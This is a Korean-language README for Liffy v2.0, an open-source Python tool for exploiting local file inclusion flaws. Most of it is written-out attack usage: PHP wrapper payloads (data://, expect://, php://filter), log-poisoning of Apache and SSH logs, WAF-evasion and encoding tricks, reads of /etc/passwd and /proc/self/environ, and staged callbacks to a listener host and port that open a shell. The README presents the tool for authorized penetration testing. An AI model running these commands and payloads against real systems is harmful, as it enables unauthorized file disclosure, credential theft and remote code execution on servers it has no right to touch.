
로컬 파일 포함 취약점 익스플로잇 도구

로컬 파일 포함(LFI) 취약점을 익스플로잇하기 위한 강력한 Python 도구로, WAF 우회, 인코딩 기법, 포괄적인 취약점 탐지 등 고급 기능을 제공합니다.
Liffy v2.0은 원래 rotlogix/liffy에서 시작되어 hvqzao가 제작한 liffy의 대폭 개선된 버전입니다. 이 버전에는 Rich 터미널 출력, YAML 설정, 향상된 스레딩, 여러 고급 익스플로잇 기법 등 최신 기능이 포함되어 있습니다.
⚠️ 많은 새로운 변경 사항이 vibe coded 방식으로 작성되었습니다.
Python 3을 사용 중인지 확인하세요. Liffy는 Python 2를 지원하지 않습니다. 아래 예제에서는 프로젝트 환경 내에서 명령을 실행하기 위해 uv run python을 사용합니다.
# 아직 설치하지 않았다면 uv 설치
curl -LsSf https://astral.sh/uv/install.sh | sh
# 저장소 클론
git clone https://github.com/mzfr/liffy
cd liffy
# uv로 가상 환경 생성
uv venv
# pyproject.toml에서 종속성 설치
uv sync
# liffy 실행
uv run python liffy.py --help
uv run python liffy.py <URL> [OPTIONS]
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
[-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
[--detection] [--null-byte] [--zip] [--encoding]
[--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
[--headers HEADERS] [--lhost LHOST] [--lport LPORT]
[--read-file READ_FILE] [-y] [--timeout TIMEOUT]
[--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
[--oob] [--oob-url OOB_URL] [--blind] [--auto]
[--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
[--quiet] [--no-color] [--no-banner] [--config]
[url]
positional arguments:
url URL to test for LFI
Core Techniques:
-d, --data Use data:// technique
-i, --input Use input:// technique
-e, --expect Use expect:// technique
-f, --filter Use filter:// technique
-p, --proc Use /proc/self/environ technique
-a, --access Apache access logs technique
--ssh SSH auth log poisoning
-dt, --directorytraverse Test for Directory Traversal
--null-byte Test for Null Byte Poisoning
--zip Test for ZIP wrapper exploitation
--wrappers, --wrapper Detect common LFI stream wrappers
--wrapper-list WRAPPER_LIST
Path to custom wrapper probe payload list
--oob Send out-of-band callback probes
--oob-url OOB_URL OOB callback base URL
--blind Run blind LFI response-difference checks
--blind-list BLIND_LIST
Path to custom blind LFI probe list
--auto Run a safe automatic scan plan
Advanced Options:
--encoding Use advanced encoding/bypass techniques
--waf-bypass Use WAF evasion techniques
--method {GET,POST} HTTP method to use (default: GET)
--post-data POST_DATA POST data (format: key=value&key2=value2)
--headers HEADERS Custom headers (format: Header1:Value1,Header2:Value2)
--detection Only perform LFI detection, no exploitation
Request Options:
--timeout TIMEOUT HTTP request timeout in seconds
--proxy PROXY HTTP(S) proxy URL, e.g. http://127.0.0.1:8080
--verify-tls Verify TLS certificates instead of using insecure requests
--user-agent UA Custom User-Agent header
--delay DELAY Delay between requests in seconds
--retries RETRIES HTTP retries per request
Automation Options:
--lhost LHOST Callback host for staged payloads
--lport LPORT Callback port for staged payloads
--read-file PATH File path to read with filter://
-y, --yes Use defaults for prompts and run non-interactively
--json Print a JSON run summary
--output OUTPUT Write JSON run summary to a file
--quiet Suppress normal terminal output
General Options:
-ns, --nostager Execute payload directly, do not use stager
-r, --relative Use path traversal sequences for attack
-l, --location LOCATION Path to target file (access log, auth log, etc.)
--cookies COOKIES Session cookies for authentication
-t, --threads THREADS Number of threads to use (default: 5)
--no-color Disable colored output
--no-banner Disable banner display
--config Create default YAML configuration file
영구 설정을 위한 구성 파일을 생성합니다:
uv run python liffy.py --config
다음과 같은 기본 설정으로 liffy_config.yaml 파일이 생성됩니다:
# Liffy Configuration File
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0
disable_banner: true로 설정하면 기본적으로 시작 배너/로고를 숨깁니다. CLI 플래그는 여전히 설정 값을 재정의하므로 일회성 실행을 위해 --no-banner, --no-color, --quiet를 사용할 수도 있습니다.
다음 환경 변수를 사용할 수도 있습니다:
LIFFY_THREADS - 스레드 수LIFFY_RATE_LIMIT - 속도 제한 지연LIFFY_NO_COLOR - 색상 비활성화 (true/false)--waf-bypass가 활성화되면 liffy는 여러 우회 기법을 자동으로 적용합니다:
/**/, #, ;file:///, pHp://./, ../, 널 바이트--encoding을 사용하면 liffy가 고급 인코딩 방법을 적용합니다:
%252e%252e%252f\u002e\u002e\u002f..%2F, ..%2f../# 폼 데이터를 포함한 POST
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"
# 사용자 정의 헤더를 포함한 POST
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"
# 로컬 프록시를 통해 트래픽 전송 및 일시적 실패 재시도
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
--proxy "http://127.0.0.1:8080" --timeout 20 --retries 2
# 고정 User-Agent 및 사용자 정의 요청 지연 사용
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
--user-agent "liffy/2.0" --delay 0.5
uv run python liffy.py "http://example.com/page.php?file=" -d
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
--post-data "action=read&file=../../etc/passwd" \
--headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"
uv run python liffy.py "http://example.com/page.php?file=" -a
uv run python liffy.py "http://example.com/page.php?file=" --ssh
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"
uv run python liffy.py "http://example.com/page.php?file=" -d -r
uv run python liffy.py "http://example.com/page.php?file=" -dt
uv run python liffy.py "http://example.com/page.php?file=" --null-byte
uv run python liffy.py "http://example.com/page.php?file=" --zip
uv run python liffy.py "http://example.com/page.php?file=" --wrappers
래퍼 탐지는 file://, php://filter, data://, php://temp, php://memory 및 관련 래퍼에 대한 안전한 기본 프로브를 사용합니다. zip://, phar://, glob://는 일반적으로 대상 측 파일이나 목록을 노출하는 싱크 동작이 필요하므로 정보 제공/조건부로 처리됩니다.
사용자 정의 래퍼 페이로드 목록을 제공할 수 있습니다. --wrapper-list를 생략하면 liffy는 내장 프로브로 대체됩니다:
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
--wrapper-list payload_wordlists/wrappers.txt
각 비어 있지 않은 줄은 원시 페이로드이거나 name=payload 형식일 수 있습니다:
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini
uv run python liffy.py "http://example.com/page.php?file=" --oob \
--oob-url "https://example.oast.site"
HTTP/DNS 콜백 리스너와 함께 사용하세요. Liffy는 URL 래퍼 스타일 페이로드를 보내며, 대상이 콜백하는지 확인합니다.
uv run python liffy.py "http://example.com/page.php?file=" --blind
블라인드 검사는 기존 파일 프로브를 무작위 누락 파일 기준과 비교하여 내용이 직접 반영되지 않을 때 상태, 길이 또는 타이밍 차이를 보고합니다.
사용자 정의 블라인드 프로브 목록을 제공할 수 있습니다. --blind-list를 생략하거나 비워두면 liffy는 내장 프로브를 사용합니다:
uv run python liffy.py "http://example.com/page.php?file=" --blind \
--blind-list payload_wordlists/blind_lfi.txt
각 비어 있지 않은 줄은 원시 페이로드이거나 name=payload 형식일 수 있습니다:
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env
uv run python liffy.py "http://example.com/page.php?file=" --auto
--auto는 탐지 전용 디렉터리 트래버설, 래퍼 검사 및 블라인드 검사를 활성화합니다. --oob-url도 제공되면 OOB 프로브를 포함합니다.
uv run python liffy.py "http://example.com/page.php?file=" \
-d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
--encoding --waf-bypass --detection
uv run python liffy.py "http://example.com/page.php?file=" -d \
--cookies "PHPSESSID=abc123; auth_token=xyz789"
uv run python liffy.py "http://example.com/page.php?file=" -d \
--lhost 10.10.14.2 --lport 4444 --yes
uv run python liffy.py "http://example.com/page.php?file=" -f \
--read-file /etc/passwd --yes
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
--output findings.json
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json
사용자 정의 경로가 지정되지 않은 경우 다음 기본 위치가 사용됩니다:
/var/log/auth.log/var/log/apache2/access.log/var/log/httpd/access_log기여를 환영합니다! 도움을 주실 수 있는 방법은 다음과 같습니다:
질문이나 제안 사항이 있으면 언제든지 이슈를 열어주세요!
Liffy의 탐지 모드는 포괄적인 취약점 분석을 제공합니다:
/etc/passwd 내용과 같은 강력한 지표[+] 취약점 요약
==================================================
[1] 취약점 발견됨
페이로드: ../../etc/passwd
신뢰도: 85%
증거: Linux /etc/passwd 파일: root:
상태 코드: 200
콘텐츠 길이: 1547
# WAF 우회 기법 사용
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass
# 스레드 수 줄이고 지연 시간 늘리기
uv run python liffy.py "http://target.com/lfi.php" -d -t 1
# 설정 파일에서 지연 시간 증가
max_threads: 2
rate_limit_delay: 1.0
자세한 출력을 위해 설정을 수정할 수 있습니다:
debug_mode: true
verbose_output: true
Liffy는 승인된 보안 테스트 목적으로만 설계되었습니다.
저자는 이 도구의 오용에 대해 책임을 지지 않습니다.
이 프로젝트는 GNU General Public License v3.0에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.